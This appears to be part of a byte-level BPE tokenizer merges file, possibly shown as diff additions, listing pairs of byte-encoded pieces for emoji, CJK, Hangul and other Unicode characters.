+ðŁĸ ı +ðŁĸ ¥ +ðŁ¤ ¬ +ðŁ¥ Ĭ +ðŁ¥ Ĵ +ß Į +ຠĦ +á¼ µ +âķ ¡ +â² ¤ +â´ ¼ +âµ ¢ +ãĪ ¯ +ëĵ ¸ +ëŁ ĩ +ëº į +ðĿĻ § +ðŁį Ī +ðŁĶ ¬ +ðŁĸ Ĭ +ðŁ¤ ¾ +Ë ¡ +Ü © +âĮ ¡ +âŃ ij +â² ¦ +ë© ī +ì¼ Ń +ï¿ ¤ +ðĿĴ İ +ðĿĹ ¥ +ðŁIJ µ +ðŁķ ¶ +ðŁķ ¸ +ðŁ¤ ľ +Õ ª +áĪ ĭ +ðŁ¥ µ +ï° ģ +áµ IJ +âķ ĵ +áĢ ĸ +âĭ Ī +É ŀ +âŀ ® +ॠ° +ãĨ ģ +ðŁĴ ± +ðŁı Ń +áĨ ¨ +ðŁį ļ +ðŁ¦ IJ +á´ » +âĺ Į +à´ ķ +Õ ± +áħ ® +ðĿIJ Į +Å ¦ +ຠķ +âľ Ļ +Ë ³ +Ô µ +âķ Ĵ +ðĿĹ Ĺ +ðĿĹ ł +Ú ļ +ঠ§ +âĨ Ŀ +âĻ ī +ãĮ » +ì¹ Ĭ +ðĿĹ º +ðŁ§ ĺ +ì³ £ +ï¬ Ŀ +ðŁij º +Ç Ł +Î Ī +Î « +Ñ ¥ +Ô ² +Õ ¨ +Ü ¦ +ঠĨ +ঠ¥ +áIJ ¢ +á¼ ģ +á¼ ĺ +á¼ ¦ +âĵ Ŀ +ãĪ ° +ãİ Ĺ +ê² ¡ +ë¨ Ģ +ì£ Ķ +ì´ ¤ +ìµ Ŀ +ï§ ´ +ïŃ Ĭ +ï² Ł +ðĿIJ · +ðĿij ĭ +ðĿĵ ī +ðĿĺ µ +ðŁĴ · +ðŁĽ © +ðŁ§ ¹ +Å Ķ +Ê ŀ +Ë ¥ +Î Į +Ñ © +Ó IJ +Ó ł +Ú ij +Ú Ĵ +ß ¨ +àª Ī +áIJ ĥ +á¹ ¯ +âĤ ĭ +âĤ µ +âĦ ħ +âĦ ł +âĪ £ +âī º +âī » +âĬ Ľ +âĮ IJ +âİ ĵ +âĺ ¸ +âĻ Ĵ +âļ Ĵ +âľ ĩ +âľ ł +â´ · +âµ ĸ +ãĦ ¸ +ãī ¢ +ãī ° +êĩ ´ +ê´ ¸ +êº ł +ëĤ ı +ëĤ ¢ +ëIJ Ģ +ëº ´ +ìĥ ľ +ìį ħ +ì¤ « +ì± ¦ +ìº ij +ì¼ ģ +ì¿ ³ +íĤ ģ +íħ ¡ +íĴ Ĥ +íĴ ī +íľ Ħ +ïŃ ª +ï® ¬ +ï¯ ¦ +ï± ª +ï² ı +ï ´Ģ +ï» Ĩ +ï¿ ¦ +ðĿij Ĺ +ðĿĸ Ļ +ðŁĮ ¡ +ðŁį Ŀ +ðŁį § +ðŁİ « +ðŁı ĺ +ðŁı ª +ðŁIJ ĭ +ðŁIJ Ľ +ðŁIJ º +ðŁij ĸ +ðŁij ŀ +ðŁij · +ðŁĵ Ģ +ðŁ ĶĦ +ðŁĶ Į +ðŁķ Ļ +ðŁĻ į +ðŁĻ İ +ðŁ¦ į +Ç ° +É Ł +Ê Ĩ +Ô ¼ +Ú ľ +ঠ¡ +ঠ¶ +áĴ ĥ +á¼ © +âĵ ķ +â² Ī +ê° ° +ê¹ ł +êº ħ +ëĦ ¹ +ë¯ ĵ +íIJ Ī +ï§ ¶ +ï® ij +ï² ¨ +ðĿĴ ī +ðĿĴ Ķ +ðĿĹ ¨ +ðĿĻ ŀ +ðĿļ Ĵ +ðĿļ ķ +ðŁIJ İ +ðŁ¤ ķ +ðŁ§ Ķ +Ï ° +Ô Ŀ +âĮ Ĭ +âĴ ¾ +ãī £ +ïŃ © +ðĿļ ŀ +Ê ij +ঠ¦ +áĦ ĩ +âī ĥ +â² Ģ +ìŁ İ +ðĿij ¶ +ðĿĵ ² +ðŁ İ· +ðŁļ ¹ +ຠģ +áł ł +ãĦ ļ +ðŁIJ ¿ +ἠļ +âķ ³ +ðŁIJ Ń +âĴ ¹ +ðĿĸ ļ +âĻ ĸ +ãĪ ² +âĨ ¾ +áĦ Ĩ +âķ Ľ +ðŁ¤ į +â½ ¥ +ðŁ Į¨ +âĪ ® +ãĮ ĺ +ãį ij +ï¹ Ģ +âĵ Ĺ +âĬ Ħ +ðŁı ¹ +Ë Ĵ +ðŁ¤ ± +ãı ľ +ðŁİ Į +ï¥ Ń +ঠ£ +ðŁİ ¹ +ãĬ Ł +à´ ° +ðĿIJ Ķ +à´ ¨ +འļ +âľ º +Õ · +ðŁij ³ +ঠľ +âĺ ĭ +âĻ Ĭ +ãĢ Ľ +È ĭ +à® ° +áĥ ¨ +âĦ ķ +íij Ģ +ðĿĵ ĥ +ðŁ¦ Ķ +Ä ¿ +Å Ģ +Æ ³ +É ļ +Ö ĥ +Ü £ +ß Ł +à¦ Ń +à§ ¡ +à¶ » +ຠ£ +འĩ +Ḡ¨ +á½ Ī +â½ ¬ +ê¡ Ķ +ì³ Ħ +ï¨ ī +ðĿIJ ¡ +ðĿĺ ¢ +ðŁį ¿ +ðŁİ Ł +ðŁı ī +ðŁĶ IJ +ðŁļ ħ +ðŁ¤ ½ +Æ į +Ç « +Ç ½ +È ļ +Î ī +Ó ¤ +Ó ª +Õ Ĭ +Ù ¼ +Ú ´ +ß Ŀ +à¶ ľ +á¼ ķ +á¿ ¥ +âİ ŀ +ãĢ ļ +ãī ¤ +ê³ ¸ +ê· ģ +ëĵ Ħ +ëĵ ķ +ì¨ Ķ +ì± ¨ +ðĿIJ ¾ +ðĿij » +ðĿĶ ¼ +ðĿķ Ŀ +ðĿĺ Ń +ðŁĨ Ļ +ðŁĵ ¤ +ðŁĶ Ł +ðŁĹ ¼ +Ä ľ +Æ ģ +Æ ¿ +Ç ³ +Ç · +É ĥ +É ł +Ê ī +Ê § +Ë ² +Ï ´ +Õ ģ +Õ ŀ +Ö ĩ +Û Ĥ +Û ĵ +ß Ĺ +ß ¦ +ঠ¹ +à® ³ +à´ ¸ +à» Ĥ +áĪ Ŀ +áĪ ª +áĭ µ +áIJ Ĭ +áĴ ª +áļ ĸ +áŀ Ľ +á´ ¢ +áµ ı +áµ Ń +á¶ « +Ḡı +ẠĴ +á¼ ¥ +á½ ķ +á½ ¼ +âĤ Ĭ +âĦ Ĥ +âĦ © +âĩ ī +âī £ +âĮ ł +âİ Ł +âı ® +âķ ĺ +âĹ ĸ +âĺ © +âĻ ij +âĻ ² +âļ Ľ +ãĦ Ł +ãī ± +ãİ ļ +ê¡ ķ +êª ĸ +ê° ¹ +ê² Ĩ +êµ Ħ +ëĩ ¬ +ëĭ ¯ +ëı ł +ëĴ ¬ +ëĸ Ī +ëĸ ½ +ëĺ Ķ +ëŀ ¸ +ë¸ ħ +ë» ł +ë¿ Ł +ìĤ µ +ìĬ ī +ìľ ° +ìł ĭ +ìł Ķ +ì¥ ¡ +ìŃ Ŀ +ì¼ ¬ +íĪ ĩ +íī ľ +íį Ħ +íĽ ¾ +íĿ £ +ï¤ © +ï¤ ¯ +ï¦ ľ +ï¦ § +ï§ ľ +ï¨ Ī +ï¬ ª +ï ¬´ +ïŃ ½ +ï® ī +ï¯ ŀ +ï° Ĵ +ï± ĩ +ï¿ Ħ +ðĿIJ ħ +ðĿij Ħ +ðĿij º +ðĿĴ Ĺ +ðĿĵ ® +ðĿķ Ľ +ðĿķ ŀ +ðĿĸ ij +ðĿĺ ģ +ðĿĺ Ĩ +ðĿĺ ¶ +ðĿĻ ¢ +ðĿļ ľ +ðŁĮ ĥ +ðŁĮ ¦ +ðŁį Ł +ðŁİ İ +ðŁı Ļ +ðŁIJ © +ðŁIJ « +ðŁIJ ´ +ðŁij Ķ +ðŁĵ ī +ðŁĵ Ľ +ðŁĶ ī +ðŁĸ ¼ +ðŁĹ ĥ +ðŁĹ ¯ +ðŁļ ĩ +ðŁļ IJ +ðŁļ µ +ðŁ¤ ¶ +ðŁ¥ ĭ +ðŁ¥ ĵ +ðŁ¥ ® +ðŁ¦ İ +ðŁ¦ ł +ðŁ§ Ĵ +ðŁ§ ¨ +Æ IJ +Ç į +Ó Ģ +Ô Ľ +ಠ° +à´ Ļ +áĢ Ĵ +ê² Ŀ +ê¹ ¹ +ë© ¥ +ìĸ Ķ +ï¤ ģ +ï¤ ı +ï¦ ī +ï¦ ĵ +ï§ ī +ï² Ŀ +ðĿĹ ŀ +ðĿĹ ± +ðŁĮ ĭ +ðŁį ¶ +ঠļ +ìķ ľ +ðĿIJ ¯ +ðĿļ Ŀ +à° ¨ +འĺ +འł +á¡ ¥ +á¾ ° +âģ į +âĶ ° +⬠ľ +ðĿIJ ł +ðĿij ¯ +ðĿĹ Ľ +ðĿĵ » +ðĿĸ Ī +âŀ » +áŀ ł +â¡ ± +â» ij +ðŁ§ µ +ï¦ ¢ +ðŁij ĺ +ãĤ Ķ +â¼ Ł +ãĬ ¤ +ï¦ Ŀ +ãĮ ¦ +âĢ ¸ +ðŁĶ Ļ +ã ¹ +ã¹ ¦ +ï¹ ħ +ï© Į +ãī ¨ +ï¸ ½ +âį ¥ +ðŁļ ī +ðŁ¥ ľ +âĵ ľ +â» Ŀ +ï¨ ľ +ðŁĴ Ĵ +áĦ ij +â¾ ŀ +ï¨ ģ +à´ ª +áĦ İ +âŀ ´ +ঠ· +áħ ¬ +áŀ § +âĨ ¢ +âķ ¦ +âľ ij +Ë ¬ +Õ IJ +à¼ Ķ +Ê ¤ +Ë ¨ +ठŀ +à» ĥ +༠ļ +âĵ ¥ +âķ ľ +ðŁIJ ĸ +á¼ Ļ +á¼ ¤ +ìĨ ° +È Ĥ +Ê ± +à® ļ +áĥ § +á´ ĭ +á´ ® +âĿ ¡ +âŀ · +ëĿ ¡ +ï§ ¢ +ï¯ ¡ +ðĿķ ķ +ðŁħ ° +ðŁ¦ ¸ +Ç ¸ +Ó ŀ +Ô ¶ +Ö Ĩ +Ú ģ +Û ĭ +áİ ¥ +á¾ ¿ +âĶ Ń +âĶ ® +êĢ Ģ +ê± ĺ +ëIJ Ń +ë½ Ħ +ìĶ IJ +ì¸ Į +íģ ł +íĻ ± +ï¥ ī +ï¨ ĸ +ðĿij ´ +ðĿĸ Ĵ +ðĿĺ ¨ +ðĿ ļĮ +ðŁIJ ¡ +ðŁij ¢ +ðŁĵ Ķ +Å ħ +Æ İ +È © +Ò ª +Ô ĥ +áĥ « +Ḡĩ +âĽ Ł +ê» Ń +ë¨ Ħ +ìŁ Ģ +ì¤ ´ +íļ IJ +ï¤ ³ +ðŁŁ ¢ +Æ § +È ¼ +Ê Ŀ +Ë Ħ +Ë ħ +Ë į +Ë § +Ò ¥ +Õ Ķ +Ø ı +Ø ¼ +ß IJ +ß ľ +ठĵ +à¦ Ļ +à® ĵ +à¶ ´ +༠į +༠Ĵ +འ£ +áĢ Ĥ +áĢ Ĭ +áĦ Ħ +á Īĺ +áĭ Ĭ +áĮ į +áij ĭ +áŀ Ĥ +áł ¢ +á¡ Ŀ +á´ ¦ +áµ į +áµ ¨ +Ḡ¡ +Ḡ¯ +á¼ £ +âģ Ĥ +âĦ ĺ +âĦ ľ +âĦ ³ +âĦ µ +âĨ ¦ +âĩ Ĩ +âĪ · +âĬ ļ +âĮ « +âĮ ¯ +âİ Ľ +âİ ľ +âİ ¤ +âİ ¦ +âİ ® +âij ī +âĶ ī +âķ Ļ +âĸ Ĥ +âĹ Ń +âĺ Ĭ +âĺ į +âĺ Ĵ +âļ Ĩ +⼠§ +⼠² +âŀ ĺ +⥠Ħ +â´ ³ +â´ ½ +âµ Ī +ãī ¯ +ãİ ij +ã§ ¬ +êĻ ¬ +ê§ ģ +ê³ ¬ +ê´ ŀ +ê» ľ +ëħ ĵ +ëĭ ¼ +ëį ĸ +ëĸ ± +ëĿ ° +ë¡ ¹ +ë¢ ´ +ë£ Ģ +ë¤ ł +ë¨ ķ +ëŃ ¥ +ìĦ ¶ +ìħ ¤ +ìĮ ķ +ìį ª +ìı © +ìĴ Ģ +ìĶ ¯ +ìĿ Ķ +ìĿ ľ +ìł Ń +ì§ ¦ +ì¨ © +ì² ¬ +ì³ ¥ +ì¼ ¯ +íĢ « +íĢ Ń +íĥ ¸ +íĵ ģ +íķ ¬ +íĹ ¸ +íĽ ķ +íľ Ń +íĿ Ĺ +ï¤ Į +ï¤ ª +ï§ ¿ +ï¬ Ħ +ï¬ ħ +ïŃ ij +ïŃ « +ïŃ º +ï® Ĥ +ï® ¢ +ï® ¨ +ï° İ +ï° ł +ï² £ +ï³ IJ +ï³ Ĵ +ï³ ĺ +ï³ ľ +ï¹ ¼ +ï¿ ¨ +ðĿIJ © +ðĿĴ ļ +ðĿķ Ķ +ðĿķ ¤ +ðĿĸ Į +ðĿĹ £ +ðĿĹ ° +ðĿĹ ´ +ðĿĺ Ĥ +ðĿĺ ¥ +ðĿĺ ® +ðĿĺ ¸ +ðĿĻ Ģ +ðĿĽ ¾ +ðĿľ ı +ðŁĮ ģ +ðŁĮ ľ +ðŁĮ ¥ +ðŁĮ ¯ +ðŁį IJ +ðŁİ Ĵ +ðŁı Ķ +ðŁı ķ +ðŁı ® +ðŁIJ Ĥ +ðŁIJ ī +ðŁIJ ¹ +ðŁĶ ķ +ðŁĶ ļ +ðŁķ ij +ðŁķ £ +ðŁĹ ŀ +ðŁĹ ¡ +ðŁĹ ¿ +ðŁļ Ĩ +ðŁļ Ĭ +ðŁļ ĵ +ðŁļ ķ +ðŁļ ¾ +ðŁĽ ģ +ðŁĽ İ +ðŁĽ ı +ðŁ¤ ´ +ðŁ¥ ķ +ðŁ¥ ĸ +ðŁ¥ ł +ðŁ¥ ¥ +ðŁ¦ Ĩ +ðŁ¦ ī +ðŁ¦ ļ +ðŁ§ ij +ðŁ§ ¥ +ðŁ§ ¿ +Å ° +Æ º +É § +ઠĩ +à® £ +áĪ Ī +áĬ ¤ +áĭ ® +áĮ Ī +áĮ µ +ᥠ² +âĵ Ł +êĻ ³ +ê° Ĭ +ëķ ģ +ëķ ¨ +ìĬ ģ +ï¦ µ +ï¬ ² +ðĿĸ į +ðĿĺ Į +ðĿĺ ³ +ðĿĻ © +ðŁį Ļ +ðŁĸ ĸ +áī ³ +áĭ ¨ +áĸ ĩ +áŀ Į +á¹ § +âķ ª +âŀ ļ +â² ĺ +ê ķ +êķ ¥ +ï¤ · +ï® £ +ï¯ ł +ðĿĴ ĸ +ðĿķ ĺ +ðĿĸ ĩ +ðĿĹ Ł +ðĿĹ ª +ðĿĹ ¯ +ðĿĻ ł +ðŁĵ ı +à¦ Ĺ +âĴ » +â² ł +ðĿĵ µ +Ê £ +à° ľ +áĬ ¢ +áŀ IJ +Ḡ· +âĦ Ľ +âĩ Ģ +âĩ Ĭ +êĴ ¦ +ê¦ ł +ï® ¤ +ðŁį Ľ +ðŁ¤ Ľ +ᨠ¾ +âŀ º +áķ ¯ +ἠı +âĩ Ĥ +âĶ ¹ +âĻ Ĺ +ðŁĸ ¨ +ê¦ ı +ઠ° +áļ ¨ +ðŁ¤ ¥ +ðŁ§ ¢ +ãIJ Ĥ +ãĦ ¥ +ðŁĸ Į +â¼ Ĵ +ãĬ § +âį © +ðŁ¦ ij +âĶ · +ï© IJ +ï© ¡ +ðĵ Ī +ðĵĪ Ĵ +â» Ħ +ï¨ Ĵ +âĦ ª +Ò § +Ú Į +âĢ ¶ +⺠ł +â» ģ +âĨ ¸ +áĦ IJ +ãħ IJ +à» Ħ +áĹ ª +âĨ ¼ +âĩ ĭ +âĩ ĺ +âĮ ij +âĸ © +ðĿIJ Ĺ +Ä Ĭ +ঠī +ìī ł +É ¤ +ß į +ß ı +áµ Ĺ +âĤ ¥ +âĵ ī +âĶ ł +âĶ ¨ +âķ Ħ +ä ¤ +ä¤ Ģ +ê» ¸ +ï® ģ +ðĵ Ĥ +ðĵĤ ĥ +ðŁ¦ ķ +Æ Ľ +ঠĩ +ãı ĺ +ï® ¼ +Ú ĵ +Ú Ŀ +ঠĵ +à¶ ¯ +á´ ħ +á½ Ļ +âģ ¼ +âĸ İ +â¼ © +ä Ķ +äĶ Ģ +ë» ¡ +ìĽ ½ +íģ Ħ +ï¥ ¼ +ï± ī +ï¹ » +ðĿĸ ĭ +ðĿĻ Ī +ðĿĻ ª +ðĿ ϶ +ðŁIJ Ħ +ðŁIJ Ĩ +áİ ¢ +ḠĮ +âĿ ´ +ðŁı ¸ +È Ŀ +É ¸ +Î ħ +Ï ľ +Ó ¢ +Õ ¹ +à´ ħ +àº Ī +áĭ ° +áij İ +áł µ +á¡ ł +á´ ī +Ḡµ +á¿ ´ +âĵ £ +âĶ ¶ +â½ ¯ +ê² ¥ +ê¿ ĺ +ëģ İ +ëİ Ī +ëĶ ¯ +ë² ° +ìĺ ¯ +ìĽ ¸ +ìŀ Ĺ +ì§ ĺ +ì¬ ¬ +ì· ¬ +íģ ħ +íĵ Ķ +íĽ Ŀ +ï¤ ® +ï¤ ¹ +ï¥ ² +ï¯ ĸ +ðĿĵ ħ +ðĿĻ Ħ +ðŁĵ ¶ +ðŁĹ Ĵ +ðŁ¥ Ķ +ðŁ¥ Ń +Å ® +Å ´ +Æ ī +Æ « +Ç ģ +Ç £ +Ç º +Ç ¼ +È į +È ¯ +É ľ +Ê ¬ +Ë ģ +Ë ¤ +Ë µ +Ï Ľ +Ò ¤ +Ò ¬ +Ó ı +Ó Ľ +Ó ¡ +Ó ³ +Ô Į +Ô ¬ +Õ ³ +Ù » +Ú ī +Ú § +Ü ľ +ß ª +ठĿ +ঠĽ +ਠĨ +ઠķ +ઠ¡ +à® İ +à° ¬ +ൠ» +ൠ¼ +à¶ ł +à¶ Ń +à¶ ¶ +à· Ĩ +༠½ +áĢ ļ +áħ ¢ +áĨ ¸ +áĪ Ģ +áĪ ķ +áĪ ° +áī ¡ +áī ¤ +áĬ ¦ +áĬ « +áĭ ĭ +áĭ į +áİ ¯ +áij Ń +áķ Ĺ +ᣠĽ +ᥠĴ +á© ī +áŃ º +á´ ¡ +áµ ĺ +áµ Ľ +á¶ ł +Ḡģ +Ḡĭ +á¹ Ļ +á¹ Ŀ +á¹ ¦ +Ạħ +á¼ Ĥ +á½ ĥ +á½ į +á½ § +á¾ · +âĢ µ +âĤ İ +âĦ Ŀ +âħ Ģ +âĨ ŀ +âĨ § +âĩ ħ +âĪ ĥ +âī ı +âī ½ +âĬ ŀ +âĬ ¡ +âĬ § +â Ĭ¶ +âĭ Ħ +âİ Ĵ +âİ ¡ +âİ £ +âİ ª +âı İ +âĵ ĥ +âĵ ĸ +âĵ ¨ +âķ ĭ +âķ ĸ +âķ ¢ +âķ ² +âĸ Ĩ +âĸ Ĭ +âĸ į +âĸ ® +âĺ ¡ +âĺ ¦ +âĺ ± +âĺ ¿ +âĻ ĺ +âĻ Ŀ +âļ ° +⼠ij +âŀ ª +⤠Ŀ +⤠¢ +⤠· +â§ « +â¨ Ń +⨠¯ +â± £ +â² İ +âµ Ľ +ãħ Ķ +ãĪ ı +ãī ² +ãī ³ +ãĬ ij +ãĭ Ľ +ãİ IJ +ê² ¤ +ê· ¿ +ê¹ ŀ +ê» ¨ +ê¼ į +ê¿ ¸ +ëĥ ¬ +ëĩ IJ +ëĭ ł +ëį ¯ +ëĹ Į +ëĹ ij +ë¥ Ģ +ëª ĥ +ëª ¯ +ë± ¡ +ë³ ĵ +ë³ ½ +ë µľ +ìĤ ³ +ìħ ¥ +ìĩ ½ +ìı ¨ +ìı ¸ +ìķ į +ìĸ ĸ +ìŁ ¨ +ì¢ ĥ +ì¢ į +ì¥ ij +ì§ ¼ +ì© ĥ +ì® ľ +ì® ¸ +ì³ ij +ì´ ¥ +ì¾ ĥ +íħ ¦ +íĪ ¿ +íĵ ½ +íķ ³ +íĸ ı +íĹ ł +íĿ « +ï¤ ĵ +ï¤ ĺ +ï¥ İ +ï¥ ¶ +ï¦ ħ +ï¦ ½ +ï§ ĩ +ï¬ Ĩ +ï¬ ³ +ï® ĩ +ï® Ī +ï® Ŀ +ï® © +ï® ± +ï¯ ĺ +ï¯ Ļ +ï¯ ¢ +ï¯ £ +ï¯ ¤ +ï¯ ¥ +ï± Ĥ +ï² Ĩ +ï² ª +ï´ ¼ +ïº ī +ïº Ĭ +ïº ¥ +ðĿij ¨ +ðĿij © +ðĿij ² +ðĿ ĴĮ +ðĿĴ ª +ðĿĴ ® +ðĿĵ Ĥ +ðĿĵ Ī +ðĿĵ ¯ +ðĿĶ ¨ +ðĿķ Ģ +ðĿķ Ĩ +ðĿķ ¦ +ðĿķ § +ðĿķ « +ðĿķ · +ðĿĹ µ +ðĿĹ ¸ +ðĿĺ Ħ +ðĿĺ Ļ +ðĿĺ ł +ðĿĺ ¬ +ðĿĻ į +ðĿĻ ij +ðĿĻ ¡ +ðĿ ύ +ðĿĻ · +ðĿļ į +ðĿĽ ¿ +ðŁ ĥ +ðŁĥ ı +ðŁħ ĺ +ðŁ ī +ðŁī ij +ðŁİ ¡ +ðŁİ ª +ðŁİ ± +ðŁİ ³ +ðŁİ º +ðŁı İ +ðŁı Ĺ +ðŁı ļ +ðŁı ŀ +ðŁı ¦ +ðŁı § +ðŁIJ ģ +ðŁIJ ħ +ðŁIJ ĵ +ðŁĴ Ĥ +ðŁĵ ij +ðŁĵ ĵ +ðŁĵ ¨ +ðŁĵ « +ðŁĶ ĭ +ðŁĶ Ń +ðŁĶ ¯ +ðŁķ Ĺ +ðŁļ Ĥ +ðŁļ ¢ +ðŁļ ¦ +ðŁļ ¬ +ðŁĽ ĭ +ðŁĽ Į +ðŁĽ ¬ +ðŁĽ ¶ +ðŁŁ ¡ +ðŁ¥ ĺ +ðŁ¥ Ł +ðŁ¥ ¦ +ðŁ¦ ĩ +ðŁ¦ Ī +ðŁ§ Ĭ +ðŁ§ Ĺ +ðŁ§ ¤ +Ê · +Ë ¹ +á¹ ļ +á½ ¥ +âĦ Ł +ê² ¯ +ê» « +ë° · +ìĥ Ĩ +ìĽ Ŀ +ì¨ ī +ì« ı +ï¯ ķ +ðĿľ ĭ +É ² +Ò Ń +Ó Ī +འĽ +áĭ ĵ +áĻ Ń +áł © +á¹ ® +âĦ Ĵ +âĨ » +âµ ĥ +ëĢ ¨ +ëł § +ìī ¥ +ìĮ ľ +ìĹ ¶ +ì¨ Ī +ìª ¾ +íı ½ +íļ Ķ +íĽ µ +ï¤ ¸ +ï¦ IJ +ï§ Ĺ +ï§ ļ +ï¬ ¯ +ðĿIJ Ĭ +ðĿķ Ĺ +ðĿĹ ļ +ðĿļ ĸ +ðŁħ ´ +È ĥ +É Ŀ +Ï ± +Ó Ĺ +ठ¢ +áħ ł +áī ¦ +áij Į +áĴ ¼ +áŀ ¡ +áł ¨ +áł Ń +ᨠħ +á¨ Ķ +á´ ĺ +á¶ ¦ +á¸ İ +á¼ ħ +á¼ ¹ +âĨ ¯ +âĵ İ +ãı Į +ê ī +êī Ĥ +ëĨ § +ëĿ ± +ì¢ ¡ +íĪ ½ +ï¤ ĩ +ï¤ Ľ +ðĿIJ ķ +ðĿĵ ¸ +ðĿĵ ¼ +ðĿĹ ķ +ðĿĺ Ī +ðŁı £ +ðŁı ¤ +ðŁĹ Ħ +Ñ · +Ò ł +áµ ĸ +á¼ ¨ +ë¬ Ħ +ï° ´ +âĪ ½ +Õ Ń +Ú ¹ +à¥ Ł +áĢ Ĩ +áŀ Ĵ +ãĢ ¶ +ê¦ « +ï¸ ĵ +ðĿIJ Ľ +ðĿĺ Ĺ +ðŁı ľ +ì« Ń +ðŁ§ ŀ +འĤ +âĨ ¿ +âĩ ı +âĵ ģ +âĶ § +âķ ģ +âķ ¤ +ê¦ Ĺ +ê¦ ¤ +ðŁı Ī +áŀ ķ +Ô ½ +àª Ĺ +ଠĨ +âķ ķ +ï½ ł +â¼ ¦ +â¼ ¯ +â¾ · +âĶ ĸ +ଠĵ +âĺ Ĺ +âį ĭ +ï¨ Ŀ +â¼ ¥ +ï¦ ª +âĦ Ĭ +ãĢ ´ +âį ¢ +ð¡ Ī +ð¡Ī ½ +ï© ¨ +ãĢ » +ãı ĥ +ï¦ ¡ +ï¨ ĺ +ðŁIJ ĥ +ðŁĨ ĸ +ðŁĹ ¾ +ãĦ ĩ +Þ ĭ +â¼ ¼ +ï¨ Ń +Þ Ģ +Þ Ħ +Þ Ī +Þ IJ +âĮ Ħ +â» ĺ +ãŁ ¢ +á ħ§ +ðIJĮ ¿ +Ë » +à² Ĺ +áĢ ĩ +áŀ Ĭ +âķ ĩ +ãĩ ¼ +ãİ ° +Õ Ĵ +Ü Ī +ß ¥ +à¿ IJ +áĢ Ł +âĨ ¥ +âķ Į +â½ Ģ +â½ ° +â¾ Ĭ +ä Ħ +äĦ Ģ +ðĵ IJ +ðĵIJ į +ðŁİ ¦ +âĤ ¯ +âĬ ĺ +âĦ į +Ê µ +Ñ ¶ +Ú ĥ +à¦ Ķ +à´ ¦ +áİ ¶ +áĵ ķ +á¹ ¨ +âĤ ł +âĩ ° +âĹ Ĵ +â¿ Ĭ +ê· ± +ì¹ ķ +íĪ © +ïŃ Ģ +ðĿĴ ¸ +ðĿĵ Ĭ +ðĿĺ © +Ç ¦ +É « +áĬ ¨ +È ¹ +Ê ¯ +Î ª +Ú Ģ +áĮ ¸ +áİ » +áı ķ +áı ´ +á² Ĥ +á½ ¨ +âı Ŀ +âĺ Ļ +ëĥ ¨ +ëĦ ¼ +ëĪ Ļ +ë£ ħ +ìĶ ¼ +ìķ Ŀ +ìļ ¬ +ìľ ± +ï¥ Ĥ +ï¦ ¹ +ï¬ ¹ +ïŃ ģ +ï³ Ī +ðĿĶ ħ +ðĿĺ ¤ +ðĿĻ ı +ðĿĻ Ļ +ðŁķ ī +ðŁ§ Ļ +Ḡij +ê´ ¼ +ëģ į +ëĹ ´ +ëĿ ³ +ë° ŀ +ë° ¢ +ëµ ĺ +ìĤ Ķ +ìĦ Ħ +ì¼ ļ +íĢ ł +íĬ ± +íĮ ĸ +ï¤ ij +ï¦ ´ +ï¦ ¸ +ï´ į +ðĿĺ · +Ä ¬ +Å ¬ +Æ Ģ +Æ ĭ +Æ ľ +Ç ij +Ç ĺ +Ç ŀ +Ç ¥ +Ç ® +É ° +É ¶ +É · +É ½ +Ê Ī +Ê IJ +Ë İ +Ë Ł +Ë ¦ +Ë ¯ +Ï IJ +Ï ĵ +Ï ¢ +Ï ¤ +Ï ª +Ï Ń +Ï ® +Ï » +Ñ ł +Ñ Ń +Ò ¨ +Ó Ŀ +Ô ¡ +Ô · +Õ ī +Õ ĵ +Õ ĸ +Õ ļ +Õ Ŀ +Ö İ +Ø ¿ +Ú ħ +Ú į +Ú Ķ +Û Ĭ +Û ¾ +Ü Ļ +Ý Ĵ +Ý ĺ +ß Ĵ +ß ĸ +ठĬ +ठIJ +ঠı +ঠĸ +à§ Ł +ઠ® +ઠ¹ +à® ħ +à® Ĩ +à° ¡ +à° ° +ಠļ +ಠ® +ಠ¯ +à´ Ł +à´ · +ൠ¾ +à¶ ij +à¶ ŀ +༠¼ +འĵ +áĢ ĵ +áĤ ¦ +áĥ ĸ +áĥ Ń +áĥ ¯ +áħ ¨ +áħ ª +áĨ ° +áĪ ģ +áĪ İ +áĪ ĵ +áĪ ¥ +áĪ ² +áĪ ´ +áĪ » +áī ł +áī ² +áī ¶ +áĬ £ +áĬ ¥ +áĬ ª +áĭ ĺ +áĭ ² +áĭ ¶ +áĮ £ +áį ¡ +áį £ +áİ ¬ +áİ ¾ +áIJ ¡ +áķ ķ +áĸ ± +áĹ IJ +áĹ Ń +áĺ ī +áļ ± +áĽ Ł +áŀ ¥ +áŁ Ķ +áł £ +áł ª +áł ° +áł ´ +ᤠĸ +ᥠ£ +á ® +á® ł +á ¯ +á¯ Ļ +á ° +á° į +á´ Ĭ +á´ ¾ +áµ ģ +áµ İ +áµ ŀ +áµ ¤ +á¶ ħ +á¶ ĺ +á¶ Ł +á¶ ¢ +á¶ ¤ +á¶ ± +á¶ » +Ḡī +Ḡŀ +Ḡº +á¹ ĵ +á¹ Ĺ +á¹ ª +ẠĬ +Ạı +ẠĽ +á¼ ĥ +á¼ Į +á¼ ¿ +á½ Ĥ +á½ ĵ +á½ Ĺ +á½ ¦ +á¾ ± +á¾ ´ +á¿ ĺ +á¿ Ł +á¿ ¸ +âģ ĺ +âĤ ij +âĤ Ľ +âĤ ¿ +âĦ ĩ +âĦ ŀ +âĦ ± +âĩ Ł +âĩ ² +âĪ ¤ +âĪ ¶ +âī Ĥ +âī ¾ +âĬ ¨ +âĬ ³ +âĬ · +âĭ Į +âĭ ĺ +âĮ ķ +âĮ ¥ +âĮ µ +âĮ º +âį £ +âį ² +âį µ +âİ ĩ +âı ĥ +âı IJ +âı ł +âı ¤ +âı ¶ +âı ¸ +âı ¹ +âij Ĥ +âĴ · +âĴ º +âĵ ¡ +âĵ ¤ +âĶ ¾ +âĸ ĺ +âĸ µ +âĹ ª +âĹ · +âĺ ¨ +âĺ « +âĺ ² +âĺ ³ +âĻ Ĩ +âļ ¤ +âļ ¥ +⼠ĵ +⼠´ +⼠¾ +âŀ « +âŀ ¿ +⣠· +⤠ij +⤠« +⤠¶ +⤠½ +â§ ª +â¨ Ģ +â ©½ +⬠¡ +⬠¢ +⬠¤ +â² ĸ +â² ª +âµ Ģ +⸠® +⸠½ +ãĢ ł +ãĢ · +ãĦ Į +ãĦ ĺ +ãħ ij +ãĪ İ +ãĪ IJ +ãĬ ľ +ãĮ ĵ +ãĮ ł +ãİ Ł +ãİ ¤ +ãİ § +㬠® +ä Ī +äĪ Ģ +ä ° +ä° Ģ +ê ħ +êħ ī +êĩ Ĺ +ê Ī +êĪ į +ê§ Ĥ +ê§ Ĭ 